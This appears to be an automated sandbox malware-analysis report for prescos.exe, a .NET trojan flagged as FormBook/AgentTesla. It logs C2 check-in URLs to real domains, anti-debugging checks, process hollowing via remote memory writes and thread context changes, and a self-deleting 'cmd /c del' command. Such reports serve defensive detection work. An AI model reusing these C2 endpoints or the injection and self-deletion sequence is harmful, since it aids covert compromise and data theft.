popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

prescos.exe

Generic Malware Admin Tool (Sysinternals etc ...) AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 9, 2021, 9:46 a.m. Nov. 9, 2021, 10:04 a.m.
Size 562.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 32b7b97a9f131f197565167b4fe8f2ed
SHA256 e3464b7f409ae4e49388968a9d3521ee506a2c7d3b5bed8590c74deb023ee749
CRC32 7758AA68
ssdeep 12288:3mAfHxLZD7CSPt4COLC/uRJ2ufL+rie60P:3tHxND7CSe9LC/CD+M0P
Yara
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49171 -> 182.50.132.242:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 182.50.132.242:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 182.50.132.242:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 172.81.119.116:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 172.81.119.116:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 172.81.119.116:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 74.208.236.124:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 74.208.236.124:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 74.208.236.124:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 167.86.115.24:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 167.86.115.24:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 167.86.115.24:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 180.215.198.11:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 180.215.198.11:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 180.215.198.11:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 52.147.15.202:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 52.147.15.202:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 52.147.15.202:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 107.160.82.250:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 107.160.82.250:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 107.160.82.250:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 198.54.117.210:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 198.54.117.210:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 198.54.117.210:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 35.75.36.192:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 35.75.36.192:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 35.75.36.192:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.astrovivan.com/sywu/?QFQLCr=o5sNhDhfZJRS9/SUQMPBXHG3DbFi02fRsIqKUlu4kB6TLWYpQz0wrHenFh/mZBJR92RFyso8&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.gengzicompute.com/sywu/?QFQLCr=Sg/J+PD4SKoqXgcmmzEPzbkHChriOJdDtNPl57LzzQHkFhA1i4k5hjYuVkkFWhs3HT30LL4x&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.lighthouseta.com/sywu/?QFQLCr=Fif6t9qBJS7PfbW+nV4zZIDOtUBpWKOdgsWufsEgrcVkaPOFX3rA+XhOwSnXgM/wsAdsDFIh&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.xiaye.tech/sywu/?QFQLCr=x7Iu+fJ4CmAPupAvzY5WOl6wiV/RAzr8WM0SK4RPaHw8bh00os20c9SAOwy8lJ+c+kxB1kQ/&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.mikes-marine.com/sywu/?QFQLCr=PbabmpsWFdXWMNTeeZ9jCNWPOn1z0XvHeI08BocNs8nNIG8Ni599zrxFdxp3gdzeKqca/8nw&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.heller.legal/sywu/?QFQLCr=+W5iPjmNShX7Fk/+KG2exPFYjLOMVLK3Ae1Rlp57G0GXt2//EO1I9i0ykHjehxLSnRB6hliw&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.juliorodriguez.info/sywu/?QFQLCr=5VRIM5ss2p6ZudMjCnrL8O/59St/KGbj2TdWvwSpCUm0KuOvA/1YYy3NuZ8h0Sqrozu1Sf00&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.lakeshoreurology.net/sywu/?QFQLCr=up20VcKRKdIgZz9VU8Md9oKitDDtgDFv/ji54jlEG7zvlMtIMbWFEpf4avyP5SUHM5ilpOCa&oXU=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.38leckiestreet.com/sywu/?QFQLCr=/vgTM4p9Z9iBgidmSY6A4cWY0D0pZxvvQpGDn6K72F4Gd8RLtU+z71PJ62L3W5IEhfgKqCPr&oXU=_6g8ydKhyJots
request GET http://www.astrovivan.com/sywu/?QFQLCr=o5sNhDhfZJRS9/SUQMPBXHG3DbFi02fRsIqKUlu4kB6TLWYpQz0wrHenFh/mZBJR92RFyso8&oXU=_6g8ydKhyJots
request GET http://www.gengzicompute.com/sywu/?QFQLCr=Sg/J+PD4SKoqXgcmmzEPzbkHChriOJdDtNPl57LzzQHkFhA1i4k5hjYuVkkFWhs3HT30LL4x&oXU=_6g8ydKhyJots
request GET http://www.lighthouseta.com/sywu/?QFQLCr=Fif6t9qBJS7PfbW+nV4zZIDOtUBpWKOdgsWufsEgrcVkaPOFX3rA+XhOwSnXgM/wsAdsDFIh&oXU=_6g8ydKhyJots
request GET http://www.xiaye.tech/sywu/?QFQLCr=x7Iu+fJ4CmAPupAvzY5WOl6wiV/RAzr8WM0SK4RPaHw8bh00os20c9SAOwy8lJ+c+kxB1kQ/&oXU=_6g8ydKhyJots
request GET http://www.mikes-marine.com/sywu/?QFQLCr=PbabmpsWFdXWMNTeeZ9jCNWPOn1z0XvHeI08BocNs8nNIG8Ni599zrxFdxp3gdzeKqca/8nw&oXU=_6g8ydKhyJots
request GET http://www.heller.legal/sywu/?QFQLCr=+W5iPjmNShX7Fk/+KG2exPFYjLOMVLK3Ae1Rlp57G0GXt2//EO1I9i0ykHjehxLSnRB6hliw&oXU=_6g8ydKhyJots
request GET http://www.juliorodriguez.info/sywu/?QFQLCr=5VRIM5ss2p6ZudMjCnrL8O/59St/KGbj2TdWvwSpCUm0KuOvA/1YYy3NuZ8h0Sqrozu1Sf00&oXU=_6g8ydKhyJots
request GET http://www.lakeshoreurology.net/sywu/?QFQLCr=up20VcKRKdIgZz9VU8Md9oKitDDtgDFv/ji54jlEG7zvlMtIMbWFEpf4avyP5SUHM5ilpOCa&oXU=_6g8ydKhyJots
request GET http://www.38leckiestreet.com/sywu/?QFQLCr=/vgTM4p9Z9iBgidmSY6A4cWY0D0pZxvvQpGDn6K72F4Gd8RLtU+z71PJ62L3W5IEhfgKqCPr&oXU=_6g8ydKhyJots
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00640000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2788
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e31000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2788
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e32000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00650000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00660000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00525000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00527000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2788
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fd12000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004cd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01faa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2788
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2052
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a20000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2896
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f50000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\prescos.exe
file C:\Users\test22\AppData\Local\Temp\prescos.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2916
thread_handle: 0x000000a8
process_identifier: 2912
current_directory:
filepath: C:\Windows\SysWOW64\cmd.exe
track: 1
command_line: /c del "C:\Users\test22\AppData\Local\Temp\prescos.exe"
filepath_r: C:\Windows\SysWOW64\cmd.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000000f4
1 1 0
section {u'size_of_data': u'0x0005dc00', u'virtual_address': u'0x00002000', u'entropy': 7.700144032989962, u'name': u'.text', u'virtual_size': u'0x0005db54'} entropy 7.70014403299 description A section with a high entropy has been found
entropy 0.667259786477 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 3064
process_handle: 0x00000264
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 3064
process_handle: 0x00000264
1 0 0
cmdline /c del "C:\Users\test22\AppData\Local\Temp\prescos.exe"
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 3064
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000254
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2052
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000268
1 0 0
file C:\Users\test22\AppData\Local\Temp\prescos.exe
Process injection Process 2788 manipulating memory of non-child process 3064
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 3064
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000254
3221225496 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPEL’€3=à  |0Ԑ@@.textL{| `
base_address: 0x00400000
process_identifier: 2052
process_handle: 0x00000268
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2052
process_handle: 0x00000268
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPEL’€3=à  |0Ԑ@@.textL{| `
base_address: 0x00400000
process_identifier: 2052
process_handle: 0x00000268
1 1 0
Process injection Process 2788 called NtSetContextThread to modify thread in remote process 2052
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4314160
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000264
process_identifier: 2052
1 0 0
Process injection Process 2788 resumed a thread in remote process 2052
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000264
suspend_count: 1
process_identifier: 2052
1 0 0
Lionic Trojan.MSIL.Agensla.i!c
Elastic malicious (high confidence)
FireEye Generic.mg.32b7b97a9f131f19
Cylance Unsafe
Cybereason malicious.79ab4e
Cyren W32/MSIL_Kryptik.GBL.gen!Eldorado
Symantec Scr.Malcode!gdn30
APEX Malicious
Paloalto generic.ml
Kaspersky UDS:Trojan-Spy.MSIL.Noon.gen
SUPERAntiSpyware Trojan.Agent/Gen-Dropper
Sophos Mal/Generic-S
McAfee-GW-Edition Artemis!Trojan
SentinelOne Static AI - Malicious PE
Avira HEUR/AGEN.1138649
Microsoft Trojan:MSIL/AgentTesla.LIA!MTB
Cynet Malicious (score: 100)
McAfee Artemis!32B7B97A9F13
TrendMicro-HouseCall TROJ_GEN.R002H07K821
Fortinet MSIL/Kryptik.DCC!tr
BitDefenderTheta Gen:NN.ZemsilF.34266.Jm0@a0ejeHd
CrowdStrike win/malicious_confidence_90% (W)
MaxSecure Trojan.Malware.300983.susgen
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2788
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2788
1 0 0

NtResumeThread

 thread_handle: 0x0000018c
suspend_count: 1
process_identifier: 2788
1 0 0

CreateProcessInternalW

 thread_identifier: 3068
thread_handle: 0x00000250
process_identifier: 3064
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\prescos.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\prescos.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000254
1 1 0

NtGetContextThread

 thread_handle: 0x00000250
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3064
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000254
3221225496 0

CreateProcessInternalW

 thread_identifier: 1948
thread_handle: 0x00000264
process_identifier: 2052
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\prescos.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\prescos.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000268
1 1 0

NtGetContextThread

 thread_handle: 0x00000264
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2052
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000268
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPEL’€3=à  |0Ԑ@@.textL{| `
base_address: 0x00400000
process_identifier: 2052
process_handle: 0x00000268
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2052
process_handle: 0x00000268
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2052
process_handle: 0x00000268
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4314160
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000264
process_identifier: 2052
1 0 0

NtResumeThread

 thread_handle: 0x00000264
suspend_count: 1
process_identifier: 2052
1 0 0

CreateProcessInternalW

 thread_identifier: 2892
thread_handle: 0x0000004c
process_identifier: 2896
current_directory:
filepath: C:\Windows\SysWOW64\control.exe
track: 1
command_line:
filepath_r: C:\Windows\SysWOW64\control.exe
stack_pivoted: 0
creation_flags: 134217740 (CREATE_NO_WINDOW|CREATE_SUSPENDED|DETACHED_PROCESS)
inherit_handles: 0
process_handle: 0x000000bc
1 1 0

CreateProcessInternalW

 thread_identifier: 2916
thread_handle: 0x000000a8
process_identifier: 2912
current_directory:
filepath: C:\Windows\SysWOW64\cmd.exe
track: 1
command_line: /c del "C:\Users\test22\AppData\Local\Temp\prescos.exe"
filepath_r: C:\Windows\SysWOW64\cmd.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000000f4
1 1 0